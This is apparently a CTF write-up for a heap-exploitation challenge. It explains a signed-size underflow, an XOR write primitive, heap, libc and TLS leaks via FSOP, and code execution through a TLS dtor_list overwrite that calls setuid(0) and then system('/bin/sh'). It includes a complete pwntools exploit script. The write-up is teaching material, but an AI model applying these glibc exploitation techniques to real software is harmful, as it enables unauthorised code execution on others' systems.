
1. The vulnerability - Integer underflow on size
The message structure is as follows:
typedef struct {
char size; // offset 0 — SIGNED 8-bit !
int seed; // offset 4
char content[127]; // offset 8
} message;
The size is read as an int then cast to a signed char:
// create_message()
size = read_int32(); // reads a normal int
// ...
msg->size = size; // stored as SIGNED char
And during encryption / display, the cast is done to unsigned char:
cypher_message(msg->content, (unsigned char)msg->size, msg->seed);
// and in view:
for (int i = 0; i < (unsigned char)msg->size; i++)
write(1, &msg->content[i], 1);
The bug: if we pass size = -112, it is stored as char = -112. But (unsigned char)(-112) = 144. We can therefore ask cypher_message to XOR-write 144 bytes into a content[127] buffer → heap overflow of 17 bytes past the chunk.
2. The XOR primitive
Here the keystream is based on seed hashed via iterated djb2:
uint64_t hash_string(const char* str, size_t size) {
uint64_t hash = 5381;
for (size_t i = 0; i < size; i++)
hash = ((hash << 5) + hash) + str[i]; // hash * 33 + c
return hash;
}
void cypher_message(char* message, size_t size, int seed) {
char seed_str[32];
snprintf(seed_str, sizeof(seed_str), "%d", seed);
uint64_t current_hash = hash_string(seed_str, strlen(seed_str));
uint8_t keystream[8];
memcpy(keystream, ¤t_hash, 8);
for (size_t i = 0; i < size; i++) {
size_t keystream_idx = i % 8;
if (i > 0 && keystream_idx == 0) {
// new keystream block: hash of the previous hash
snprintf(hash_str, sizeof(hash_str), "%lu", current_hash);
current_hash = hash_string(hash_str, strlen(hash_str));
memcpy(keystream, ¤t_hash, 8);
}
message[i] ^= keystream[keystream_idx];
}
}
The keystream is entirely deterministic: seed → H0 → H1 → H2 → ... where Hn+1 = djb2(str(Hn)).
We can therefore bruteforce the seed such that keystream[pos] == target_byte to XOR-write any byte at any position:
def get_keystream_byte(seed, x):
seed_str = str(seed).encode()
h = hash_string(seed_str)
for _ in range(x // 8):
h = hash_string(str(h).encode())
return p64(h)[x % 8]
def brute_seed(x, target_byte):
for seed in range(0, 0xFFFFFFFF):
if get_keystream_byte(seed, x) == target_byte:
return seed
The write-one-byte overflow primitive
Applying the same XOR twice leaves memory intact. We exploit this to write a byte cleanly without corrupting the rest:
By choosing a size such that pos and a seed such that keystream[pos] == target, we get:
message[pos]=message[pos] ^ keystream[pos]message[pos+1]=0x00
We also take advantage of the null byte appended at the end of the encrypted message to then XOR-write an arbitrary byte.

def write_byte(pos, target_byte, idx, leak=False):
add(underflow(pos), b"A", brute_seed(pos, target_byte)) # iter 1
delete(idx)
add(underflow(pos+1), b"A", brute_seed(pos, target_byte)) # iter 2
delete(idx)
def overflow_write(offset, payload, idx):
for i, byte in enumerate(payload):
write_byte(offset + i, byte, idx)
3. Heap leak
We allocate two chunks, free them in reverse order (tcache LIFO), then read the mangled pointer from the tcache bin via write_byte + view:
add(10, b"A", 1337) # chunk 0
add(10, b"A", 1337) # chunk 1
delete(1)
delete(0)
# chunk 0 est en tête de tcache, son fd pointe vers chunk 1 (mangled)
base_heap = int(hex(decrypt_pointer(u64(write_byte(0x90,0xFF,0,True).split(b"\x91")[1][7:15]))) + "0",16) - 0x1000
4. Libc leak - fake unsorted bin chunk
To obtain a libc address, we need to push a chunk into the unsorted bin (size ≥ 0x420). Our chunks are 0x90, so we forge the size header of the next chunk via the overflow, while making sure that next_chunk + 0x431 points to a valid chunk size to pass libc's consistency check:
# 9 chunks alloués (index 0..8), chunk 0 freed
overflow_write(0x80, p64(0x431), 0) # rewrite size field of chunk[1]
delete(8)
add(0, p64(0x21)*14, 0)
delete(0)
delete(1) # → unsorted bin ! fd/bk -> main_arena+96
We then read the fd of chunk[1] from the adjacent chunk:
libc.address = u64(
write_byte(0x90+0x20, 0xFF, 1, leak=True).split(b"\x31")[2][7:15]
) - 0x203b20
5. TLS segment leak via FSOP
The CPU does not support CET, so a simple leak + ROP would suffice but where's the fun in that?
We know libc, but we need the exact address of the TLS segment to read fs:0x30 (pointer guard / mangle cookie). We abuse _IO_2_1_stdout_: we redirect its buffer to read from the TLS area.
Tcache poisoning toward _IO_2_1_stdout_ - 0x20 via the overflow, then we write a fake FILE structure:
target = mangle(base_heap + 0x1750, libc.sym["_IO_2_1_stdout_"] - 0x20)
overflow_write(0x88, p64(target), 1)
stdout_struct = p64(0xfbad1800) # _flags : FWRITE | UNBUFFERED
stdout_struct += p64(0)
stdout_struct += p64(leak_seg_addr-0x100) # _IO_write_base
stdout_struct += p64(0)
stdout_struct += p64(leak_seg_addr-0x100) # _IO_read_end
stdout_struct += p64(leak_seg_addr+0x200) # _IO_write_end → dump 0x300 bytes
leak = add(0, p64(0xdeadbeefcafebabe)*3 + stdout_struct, 0, fsopLeak=True)
We scan the leak for an address aligned on 0x...740 (lower part of the TLS segment):
for i in range(len(leak)):
addr = u64(leak[i:i+8])
if addr & 0xFFF == 0x740:
segLeak = addr
break
mangle_cookie = segLeak + 0x30 # fs:0x30
6. RCE — TLS dtor_list overwrite
Upon calling exit(), glibc iterates over dtor_list (stored in the TLS segment). Each node contains a function pointer encoded by the mangle pointer:
Here is the source code of __call_tls_dtors in libc:
typedef void (*dtor_func) (void *);
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
....
....
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
The goal is first to overwrite the mangle pointer with a value we control:

To call system("/bin/sh") we need to encode: encoded = rol(system ^ pointer_guard, 0x11).
Step 1: reset the pointer guard to a value we decide via tcache poisoning toward mangle_cookie. So encoded = rol(system, 0x11).
Step 2: build two fake nodes on the heap:
encoded_setuid = rol(libc.sym.setuid, 0x11)
encoded_system = rol(libc.sym.system, 0x11)
node1 = p64(0x00)*2 + p64(0x111) # fake chunk header
node1 += p64(encoded_setuid) # fn = setuid
node1 += p64(0x00) # arg = uid 0
node1 += p64(base_heap+0x1e30+0x58)*2 # next → node2
node1 += p64(0x00) + cyclic(32)
node2 = p64(encoded_system) # fn = system
node2 += p64(base_heap + 0x1e98) # arg → "/bin/sh"
node2 += b"/bin/sh"
Step 3: tcache poisoning toward dtor_list to write the address of node1 there:
target = mangle(base_heap + 0x1b40, dtor_func - 0x20)
overflow_write(0x88, p64(target), 0)
# write our fake dtors nodes
add(0, p64(0x00)*3 + p64(base_heap+0x1e40), 1337, False)

Full exploit
from pwn import *
import time
context.update(arch="amd64", os="linux")
exe = ELF("./chall")
libc = ELF("./libc.so.6")
s=ssh(host='dyn-02.midnightflag.fr',user='midnight',password='midnight',port=12013)
io = s.process("./chall")
io.recvuntil(b"choice: ")
def add(size, content, seed,wait=True,fsopLeak=False):
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
io.recvrepeat(0.03)
io.sendline(content)
if fsopLeak:
data = io.recvrepeat(0.5)
else:
io.recv()
io.sendline(str(seed).encode())
if fsopLeak:
io.recvuntil(b"choice: ")
return data
if wait:
return io.recvuntil(b"choice: ")
def view(idx):
io.sendline(b"2")
io.recvuntil(b"index: ")
io.sendline(str(idx).encode())
return io.recvuntil(b"choice: ")
def delete(idx):
io.sendline(b"3")
io.recvuntil(b"index: ")
io.sendline(str(idx).encode())
return io.recvuntil(b"choice: ")
def hash_string(s):
h = 5381
for c in s:
h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
return h
def get_keystream_byte(seed, x):
seed_str = str(seed).encode()
h = hash_string(seed_str)
block = 0
target_block = x // 8
while block < target_block:
hash_str = str(h).encode()
h = hash_string(hash_str)
block += 1
keystream = p64(h)
return keystream[x % 8]
def brute_seed(x, target_byte):
for seed in range(0, 0xFFFFFFFF):
if get_keystream_byte(seed, x) == target_byte:
return seed
def underflow(pos): # underflow exploit
if pos < 127:
return pos
return pos - 256
def write_byte(pos,target_byte,idx,leak=False):
data = b""
add(underflow(pos),b"A",brute_seed(pos,target_byte))
if leak:
data = view(idx)
delete(idx)
add(underflow(pos+1),b"A",brute_seed(pos,target_byte))
delete(idx)
return data
def overflow_write(offset,payload,idx):
count = 0
for char in payload:
write_byte(offset+count,char,idx)
count += 1
def decrypt_pointer(ptr):
return ptr << 8
def mangle(pos, ptr):
return (pos>>12) ^ ptr
def rol(val, bits, width=64):
return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
# P1 leak heap addr
add(10,b"A",1337)
add(10,b"A",1337) # 2
delete(1)
delete(0)
base_heap = int(hex(decrypt_pointer(u64(write_byte(0x90,0xFF,0,True).split(b"\x91")[1][7:15]))) + "0",16) - 0x1000
print(f"[+] Heap base at: {hex(base_heap)}")
# Leak libc via fake unsorted modify heap size header via controlled byte overflow from chunk one
add(10,b"A",1337)
add(10,b"A",1337)
for i in range(7):
add(10,b"A",1337)
delete(0)
overflow_write(0x80,p64(0x431),0) # fake size
add(10,b"A",1337)
delete(0)
delete(8)
add(0,p64(0x21)*14,0)
delete(0)
delete(1)
add(10,b"A",1337) # 2
# # remote =2 , sinon 1=
libc.address = u64(write_byte(0x90+0x20,0xFF,1,True).split(b"\x31")[1][7:15])- 0x203b20
leak_seg_addr = libc.address + 0x205728 # mangle cookie at +0x30 of this addr
print(f"[+] Libc base at: {hex(libc.address)}")
print(f"[+] leak_seg_addr at: {hex(leak_seg_addr)}")
add(10,b"A",1337)
add(10,b"A",1337)
delete(5)
delete(8)
delete(1)
# FSOP pour leak l'addr du segment tls
target = mangle(base_heap + 0x1750,(libc.sym["_IO_2_1_stdout_"]-0x20))
overflow_write(0x88,p64(target),1)
add(0,b"A",1337)
add(0,b"A",1337)
payload = p64(0xdeadbeefcafebabe)*3
stdout_struct = p64(0xfbad1800)
stdout_struct += p64(0)
stdout_struct += p64(leak_seg_addr-0x100)
stdout_struct += p64(0)
stdout_struct += p64(leak_seg_addr-0x100)
stdout_struct += p64(leak_seg_addr + 0x200)
payload += stdout_struct
leak = add(0,payload,0,fsopLeak=True)
add(0,b"A",0)
for char in range(len(leak)): # obliger de parcourir sinon marche pas en remote ( pas les meme offset ?)
try:
addr = u64(leak[char:char+8])
if addr & 0x0000000000000FFF == 0x740:
segLeak = addr
print(f"[!] FOUND segment at: {hex(segLeak)}")
break
except:
pass
mangle_cookie = segLeak + 0x30
print(f"[+] leak seg {hex(segLeak)}")
print(f"[+] mangle cookie addr {hex(segLeak)}")
dtor_func = mangle_cookie - 0x80
print(f"[+] Dtor func at: {hex(dtor_func)}")
# reset mangle cookie
target = mangle(base_heap+0x1ab0,mangle_cookie)
delete(4)
delete(7)
delete(6)
overflow_write(0x88,p64(target),4)
add(0,b"A",1337)
add(0,b"A",1337)
add(0,b"AAAA",1337) # 8
# DTOR LIST RCE INST
"""
0x7cc75cf2970a <__GI___call_tls_dtors+26>: je 0x7cc75cf2974e <__GI___call_tls_dtors+94>
0x7cc75cf2970c <__GI___call_tls_dtors+28>: nop DWORD PTR [rax+0x0]
0x7cc75cf29710 <__GI___call_tls_dtors+32>: mov rdx,QWORD PTR [rbx+0x18]
0x7cc75cf29714 <__GI___call_tls_dtors+36>: mov rax,QWORD PTR [rbx]
0x7cc75cf29717 <__GI___call_tls_dtors+39>: ror rax,0x11
0x7cc75cf2971b <__GI___call_tls_dtors+43>: xor rax,QWORD PTR fs:0x30
0x7cc75cf29724 <__GI___call_tls_dtors+52>: mov QWORD PTR fs:[r12],rdx
0x7cc75cf29729 <__GI___call_tls_dtors+57>: mov rdi,QWORD PTR [rbx+0x8]
0x7cc75cf2972d <__GI___call_tls_dtors+61>: call rax
"""
delete(0)
target = mangle(base_heap + 0x1b40,dtor_func-0x20)
delete(6)
delete(5)
delete(4)
overflow_write(0x88,p64(target),0)
pointer_guard = 0x53900000000 # fs:0x30
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
node1 = p64(0x00)*2 + p64(0x111) + p64(encoded_setuid)
node1 += p64(0x00) + p64(base_heap+0x1e30+0x58)*2 # uid
node1 += p64(0x00)
node1 += cyclic(32) # padding to next dtor
node2 = p64(encoded_system) # no dtor to chain after this
node2 += p64(base_heap + 0x1e98)
node2 += b"/bin/sh"
payload = node1 + node2
for i in range(3):
add(0,payload,1337)
target = rol((libc.sym.system) ^ pointer_guard, 0x11)
payload = p64(0x00)*3 + p64(base_heap+0x1e40) # fake dtor node
add(0,payload,1337,False) # :) :DDDDDDDDDDDDDDDD
print(f"[+] Fake dtor node1 at: {hex(base_heap+0x1e40)}")
io.sendline(b"4")
io.interactive()